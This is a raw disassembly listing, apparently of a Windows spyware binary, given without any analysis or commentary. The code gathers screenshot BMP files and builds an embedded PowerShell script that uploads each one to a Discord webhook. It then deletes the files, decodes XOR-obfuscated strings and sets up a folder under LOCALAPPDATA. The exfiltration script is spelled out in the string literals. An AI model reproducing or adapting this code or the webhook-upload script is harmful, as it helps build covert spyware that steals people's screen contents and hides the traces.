call fcn.140008220
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5d0], xmm1
mov qword [rbp + 0x5e0], r15
lea r8, str._screenshot_.bmp
lea rdx, [rbp + 0x6b0]
lea rcx, [rbp + 0x390]
call fcn.140044560
mov rcx, rax
call fcn.140041bc0
mov rcx, rax
lea rdx, [rbp + 0x880]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
lea rcx, [rbp + 0x390]
call fcn.140003250
cmp rbx, 0xffffffffffffffff
je 0x140009fc0
lea r14, [0x140055dec]
nop dword [rax]
mov rcx, rdi
mov rax, qword [rbp + 0x6c0]
sub rcx, rax
cmp rcx, 1
jb 0x14000b700
lea r9, [rbp + 0x6b0]
cmp qword [rbp + 0x6c8], 7
cmova r9, qword [rbp + 0x6b0]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x150]
call fcn.140049820
nop
lea rax, [rbp + 0x8ac]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140009ea0
lea rdx, [rbp + 0x8ac]
lea rcx, [rbp + 0x150]
call fcn.140041c10
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rbp + 0x5d8]
cmp rdx, qword [rbp + 0x5e0]
je 0x140009f08
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov edx, 7
mov word [rbp - 0x40], r15w
add qword [rbp + 0x5d8], 0x20
jmp 0x140009f1c
lea r8, [rbp - 0x40]
lea rcx, [rbp + 0x5d0]
call fcn.14004ab80
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x140009f59
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009f53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a06e
call fcn.14004de50
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 7
jbe 0x140009f9f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009f9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a075
call fcn.14004de50
lea rdx, [rbp + 0x880]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140009e40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rdx, [0x140055df0]
lea rcx, [rbp + 0x630]
call fcn.14001a7b0
nop
mov rdi, r15
mov rax, qword [rbp + 0x5d8]
mov rcx, qword [rbp + 0x5d0]
sub rax, rcx
sar rax, 5
movabs r12, 0xcccccccccccccccd
test rax, rax
je 0x14000a361
mov r14, r15
lea rbx, [rcx + r14]
lea r9, [rbp + 0xafa]
mov r8, rdi
add r9, 0xfffffffffffffffe
mov rax, r12
mul r8
shr rdx, 3
movzx eax, dx
shl ax, 2
lea ecx, [rax + rdx]
add cx, cx
sub r8w, cx
add r8w, 0x30
mov word [r9], r8w
mov r8, rdx
test rdx, rdx
jne 0x14000a010
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], r15
lea rax, [rbp + 0xafa]
cmp r9, rax
jne 0x14000a07c
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 7
mov word [rbp - 0x60], r15w
jmp 0x14000a096
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r8, [rbp + 0xafa]
sub r8, r9
sar r8, 1
mov rdx, r9
lea rcx, [rbp - 0x60]
call fcn.14001a7f0
nop
lea r8, [rbp - 0x60]
lea rdx, str._n_filePath
lea rcx, [rbp - 0x10]
call fcn.140044640
nop
mov r8d, 4
lea rdx, [0x140055fe8]
mov rcx, rax
call fcn.140041c10
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r15
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov r8, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 7
jbe 0x14000a101
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.140041c10
xorps xmm0, xmm0
movups xmmword [rbp + 0x590], xmm0
mov qword [rbp + 0x5a0], r15
mov qword [rbp + 0x5a8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x590], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x5a0], xmm1
mov qword [rax + 0x18], 7
mov qword [rax + 0x10], r15
mov word [rax], r15w
mov r8d, 1
lea rdx, [0x140055a3c]
lea rcx, [rbp + 0x590]
call fcn.140041c10
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
lea rdx, [rbp - 0x40]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 7
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x630]
call fcn.140041c10
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x14000a1f5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a1ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a421
call fcn.14004de50
nop
mov rdx, qword [rbp + 0x5a8]
cmp rdx, 7
jbe 0x14000a23b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x590]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a236
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a428
call fcn.14004de50
mov qword [rbp + 0x5a0], r15
mov qword [rbp + 0x5a8], 7
mov word [rbp + 0x590], r15w
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x14000a297
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a292
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a42f
call fcn.14004de50
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], 7
mov word [rsp + 0x60], r15w
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000a2eb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a2e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a436
call fcn.14004de50
mov qword [rbp], r15
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r15w
mov rdx, qword [rbp - 0x48]
cmp rdx, 7
jbe 0x14000a33c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a337
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a43d
call fcn.14004de50
inc rdi
add r14, 0x20
mov rax, qword [rbp + 0x5d8]
mov rcx, qword [rbp + 0x5d0]
sub rax, rcx
sar rax, 5
cmp rdi, rax
jb 0x14000a002
mov r8d, 0x438
lea rdx, str._n_Define_the_message_to_be_sent_n_message_____n_n_Function_to_send_a_message_with_an_attachment_to_the_Discord_webhook_nfunction_Send_DiscordMessageWithAttachment__n____param__n_________string__WebhookUrl__n_________string__FilePath__n_________string__Message_n______n_n_____Construct_the_multipart_form_data_request_n_____boundary___System.Guid_::NewGuid__.ToString___n_____LF____r_n__n_n_____bodyLines____n____________boundary___n_________Content_Disposition:_form_data__name__file____filename____Split_Path__Leaf__FilePath______n_________Content_Type:_application_octet_stream___n____________n_________Get_Content__Path__FilePath__Raw___n____________boundary___n_________Content_Disposition:_form_data__name__content_____n____________n_________Message__n____________boundary_____n___________n______n_n_____body___bodyLines__join__LF_n_n_____Send_the_POST_request_to_the_webhook_URL_with_the_multipart_form_data_body_n____Invoke_RestMethod__Uri__WebhookUrl__Method_Post__ContentType__multipart_form_data__boundary_boundary___Body__body_n_n_n_Try_to_send_the_BMP_files_and_message_to_Discord_ntry__n
lea rcx, [rbp + 0x630]
call fcn.140041c10
mov rbx, r15
mov rax, qword [rbp + 0x5d8]
sub rax, qword [rbp + 0x5d0]
sar rax, 5
test rax, rax
je 0x14000a5d4
nop dword [rax + rax]
lea r9, [rbp + 0xb2a]
mov rcx, rbx
nop word [rax + rax]
add r9, 0xfffffffffffffffe
mov rax, r12
mul rcx
shr rdx, 3
movzx eax, dx
shl ax, 2
lea r8d, [rax + rdx]
add r8w, r8w
sub cx, r8w
add cx, 0x30
mov word [r9], cx
mov rcx, rdx
test rdx, rdx
jne 0x14000a3b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x5f0], xmm0
mov qword [rbp + 0x600], r15
mov qword [rbp + 0x608], r15
lea rax, [rbp + 0xb2a]
cmp r9, rax
jne 0x14000a444
mov qword [rbp + 0x600], r15
mov qword [rbp + 0x608], 7
mov word [rbp + 0x5f0], r15w
jmp 0x14000a461
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea r8, [rbp + 0xb2a]
sub r8, r9
sar r8, 1
mov rdx, r9
lea rcx, [rbp + 0x5f0]
call fcn.14001a7f0
nop
lea r8, [rbp + 0x5f0]
lea rdx, str._n_____Send_the_BMP_file_and_message_as_an_attachment_n____Send_DiscordMessageWithAttachment__WebhookUrl__webhookUrl__FilePath__filePath
lea rcx, [rbp - 0x80]
call fcn.140044640
nop
mov r8d, 0x13
lea rdx, str.__Message__message_n
mov rcx, rax
call fcn.140041c10
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
lea rdx, [rbp - 0x40]
movq rcx, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, 7
cmova rdx, rcx
movq r8, xmm1
lea rcx, [rbp + 0x630]
call fcn.140041c10
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x14000a51f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a519
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a651
call fcn.14004de50
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 7
jbe 0x14000a55f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a55a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a658
call fcn.14004de50
mov qword [rbp - 0x70], r15
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r15w
mov rdx, qword [rbp + 0x608]
cmp rdx, 7
jbe 0x14000a5b6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000a5b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000a65f
call fcn.14004de50
inc rbx
mov rax, qword [rbp + 0x5d8]
sub rax, qword [rbp + 0x5d0]
sar rax, 5
cmp rbx, rax
jb 0x14000a3a0
mov r8d, WSACleanup
lea rdx, str._n_ncatch__n_____Log_error_message_n_____Optionally__you_can_rethrow_the_error_to_stop_execution_n____throw____n_n
lea rcx, [rbp + 0x630]
call fcn.140041c10
lea rdx, [rbp + 0x630]
cmp qword [rbp + 0x648], 7
cmova rdx, qword [rbp + 0x630]
mov rax, qword [rbp + 0x640]
lea r9, [rdx + rax*2]
lea rdx, [rbp + 0x630]
cmova rdx, qword [rbp + 0x630]
xorps xmm0, xmm0
movups xmmword [rbp + 0x670], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x680], xmm1
cmp rdx, r9
jne 0x14000a666
movdqa xmm0, xmmword [0x14005ce60]
movdqu xmmword [rbp + 0x680], xmm0
mov byte [rbp + 0x670], 0
jmp 0x14000a679
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub r9, rdx
sar r9, 1
lea rcx, [rbp + 0x670]
call fcn.140049cb0
nop
lea rcx, [rbp + 0x630]
call fcn.140008390
mov rdi, qword [rbp + 0x5d8]
mov rbx, qword [rbp + 0x5d0]
cmp rbx, rdi
je 0x14000a6fc
nop dword [rax + rax]
mov rcx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14000a6ad
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000a6f3
lea rdx, str.Failed_to_delete_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140044780
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14000a6d7
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.140049dd0
lea rdx, [0x140044b30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
add rbx, 0x20
cmp rbx, rdi
jne 0x14000a6a0
movups xmm0, xmmword [0x14005b630]
movups xmmword [rbp + 0x710], xmm0
movups xmm1, xmmword [0x14005b640]
movups xmmword [rbp + 0x720], xmm1
movups xmm0, xmmword [0x14005b650]
movups xmmword [rbp + 0x730], xmm0
movups xmm1, xmmword [0x14005b660]
movups xmmword [rbp + 0x740], xmm1
movups xmm0, xmmword [0x14005b670]
movups xmmword [rbp + 0x750], xmm0
movzx eax, byte [0x14005b680]
mov byte [rbp + 0x760], al
mov r8d, r15d
cmp r13d, 2
jl 0x14000a896
movdqa xmm5, xmmword [0x14005ce70]
movdqa xmm4, xmmword [0x14005cee0]
movdqa xmm6, xmmword [0x14005ce90]
movdqa xmm0, xmmword [0x14005ced0]
movdqa xmmword [rbp + 0x5f0], xmm0
lea rcx, [rbp + 0x714]
mov edx, dword [rbp + 0x5f0]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005cec0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005cec0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14000a791
cmp r8d, 0x51
jge 0x14000a8e0
movsxd rax, r8d
lea r9, [rbp + 0x710]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x14000a8b0
movups xmm0, xmmword [0x14005bc10]
movups xmmword [rsp + 0x60], xmm0
movzx eax, word [0x14005bc20]
mov word [rsp + 0x70], ax
movzx eax, byte [0x14005bc22]
mov byte [rsp + 0x72], al
mov r8d, r15d
cmp r13d, 2
jl 0x14000aa55
movdqa xmm5, xmmword [0x14005ce70]
movdqa xmm4, xmmword [0x14005cee0]
movdqa xmm6, xmmword [0x14005ce90]
movdqa xmm0, xmmword [0x14005ced0]
movdqa xmmword [rbp + 0x5f0], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rbp + 0x5f0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005cec0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005cec0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000a950
cmp r8d, 0x13
jge 0x14000aa90
movsxd rax, r8d
lea r9, [rsp + 0x60]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000aa60
movups xmm0, xmmword [0x14005bb20]
movups xmmword [rbp - 0x60], xmm0
movzx eax, word [0x14005bb30]
mov word [rbp - 0x50], ax
movzx eax, byte [0x14005bb32]
mov byte [rbp - 0x4e], al
mov r8d, r15d
cmp r13d, 2
jl 0x14000abf5
movdqa xmm5, xmmword [0x14005ce70]
movdqa xmm4, xmmword [0x14005cee0]
movdqa xmm6, xmmword [0x14005ce90]
movdqa xmm0, xmmword [0x14005ced0]
movdqa xmmword [rbp + 0x5f0], xmm0
lea rcx, [rbp - 0x5c]
mov edx, dword [rbp + 0x5f0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005cec0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14005cec0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000aaf0
cmp r8d, 0x13
jge 0x14000ac30
movsxd rax, r8d
lea r9, [rbp - 0x60]
add r9, rax
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x14000ac00
lea r8, str.LOCALAPPDATA
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp + 0x510]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
mov rdx, qword [rbp + 0x510]
test rdx, rdx
je 0x14000b396
xorps xmm0, xmm0
movups xmmword [rbp + 0x610], xmm0
mov qword [rbp + 0x620], r15
mov qword [rbp + 0x628], r15
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x14000ac76
lea rcx, [rbp + 0x610]
call fcn.140004c00
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea rax, [rbp - 0x60]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000aca3
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x80]
call fcn.140004c00
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov r12, qword [rbp + 0x620]
sub rax, r12
cmp rax, 1
jb 0x14000b706
lea rax, [rbp + 0x610]
mov r14, qword [rbp + 0x610]
mov r15, qword [rbp + 0x628]
cmp r15, 0xf
cmova rax, r14
mov qword [rbp + 0x5f0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r13, [r12 + 1]
mov edi, 0xf
lea rbx, [rsp + 0x40]
cmp r13, rdi
jbe 0x14000adb6
mov rdi, r13
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000ad68
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14004de58
test rax, rax
je 0x14000ad91
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
mov rax, qword [rbp + 0x5f0]
jmp 0x14000adb1
cmp rdi, 0x16
mov ecx, 0x16
cmovb rdi, rcx
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000ad98
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000b6e8
jmp 0x14000ad46
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000adae
call fcn.14004de58
mov rbx, rax
mov rax, qword [rbp + 0x5f0]
jmp 0x14000adb1
mov rbx, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], rdi
mov r8, r12
mov rdx, rax
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [r12 + rbx], 0x5c
mov byte [rbx + r13], 0
lea r9, [rbp - 0x80]
lea r8, [rsp + 0x40]
lea rcx, [rbp + 0x5b0]
call fcn.140049960
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x14000ae2f
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ae29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ae29
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004de50
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000ae6a
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ae65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b2d7
call fcn.14004de50
lea rcx, [rbp + 0x5b0]
cmp qword [rbp + 0x5c8], 0xf
cmova rcx, qword [rbp + 0x5b0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14000aeb3
lea rcx, [rbp + 0x5b0]
cmp qword [rbp + 0x5c8], 0xf
cmova rcx, qword [rbp + 0x5b0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x14000b130
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea rax, [rsp + 0x60]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14000aec7
mov r8, rsi
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x80]
call fcn.140004c00
nop
mov r13, qword [rbp + 0x5c0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 1
jb 0x14000b6dc
lea r12, [rbp + 0x5b0]
cmp qword [rbp + 0x5c8], 0xf
cmova r12, qword [rbp + 0x5b0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea rsi, [r13 + 1]
mov edi, 0xf
lea rbx, [rsp + 0x40]
cmp rsi, rdi
jbe 0x14000afbc
mov rdi, rsi
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000af76
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14004de58
test rax, rax
je 0x14000af9f
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x14000afb7
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
cmp rcx, 0x1000
jb 0x14000afa6
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000b6ee
jmp 0x14000af5b
